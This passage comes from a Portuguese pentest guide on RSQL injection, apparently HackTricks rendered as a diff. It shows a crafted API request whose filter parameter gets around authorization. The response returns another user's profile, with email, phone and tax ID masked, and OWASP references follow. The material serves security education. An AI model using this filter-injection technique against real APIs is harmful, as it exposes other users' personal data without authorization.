 | 
			
		||||
}
 | 
			
		||||
}]
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
A combinação de filtros pode ser usada para evadir o controle de autorização e obter acesso aos perfis de outros usuários:  
 | 
			
		||||
### Request
 | 
			
		||||
```
 | 
			
		||||
GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
 | 
			
		||||
Host: localhost:3000
 | 
			
		||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
 | 
			
		||||
Accept: application/vnd.api+json
 | 
			
		||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
 | 
			
		||||
Accept-Encoding: gzip, deflate, br, zstd
 | 
			
		||||
Content-Type: application/vnd.api+json
 | 
			
		||||
Authorization: Bearer eyJ....
 | 
			
		||||
Origin: https://localhost:3000
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Referer: https://localhost:3000/
 | 
			
		||||
Sec-Fetch-Dest: empty
 | 
			
		||||
Sec-Fetch-Mode: cors
 | 
			
		||||
Sec-Fetch-Site: same-site
 | 
			
		||||
```
 | 
			
		||||
### Resposta
 | 
			
		||||
```
 | 
			
		||||
HTTP/1.1 200
 | 
			
		||||
Date: Sat, 22 Mar 2025 19:50:07 GMT
 | 
			
		||||
Content-Type: application/vnd.api+json;charset=UTF-8
 | 
			
		||||
Content-Length: 520
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Vary: Origin
 | 
			
		||||
Vary: Access-Control-Request-Method
 | 
			
		||||
Vary: Access-Control-Request-Headers
 | 
			
		||||
Access-Control-Allow-Origin: *
 | 
			
		||||
 | 
			
		||||
{
 | 
			
		||||
"data": [{
 | 
			
		||||
"id": "94******************",
 | 
			
		||||
"type": "UserGetResponseCustomDTO",
 | 
			
		||||
"attributes": {
 | 
			
		||||
"status": "ACTIVE",
 | 
			
		||||
"countryId": 63,
 | 
			
		||||
"timeZoneId": 2,
 | 
			
		||||
"translationKey": "**************",
 | 
			
		||||
"email": "jose******@domain.local",
 | 
			
		||||
"firstName": "jose",
 | 
			
		||||
"surname": "***************",
 | 
			
		||||
"telephoneCountryCode": "**",
 | 
			
		||||
"mobilePhone": "********",
 | 
			
		||||
"taxIdentifier": "*********",
 | 
			
		||||
"languageId": 1,
 | 
			
		||||
"createdAt": "2024-11-21T08:29:05.833Z",
 | 
			
		||||
"termsOfUseAccepted": true,
 | 
			
		||||
"id": "94******************",
 | 
			
		||||
"type": "UserGetResponseCustomDTO"
 | 
			
		||||
}
 | 
			
		||||
}]
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
## Referências
 | 
			
		||||
- [RSQL Injection](https://owasp.org/www-community/attacks/RSQL_Injection)
 | 
			
		||||
- [RSQL Injection Exploitation](https://m3n0sd0n4ld.github.io/patoHackventuras/rsql_injection_exploitation)
 | 
			
		||||
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user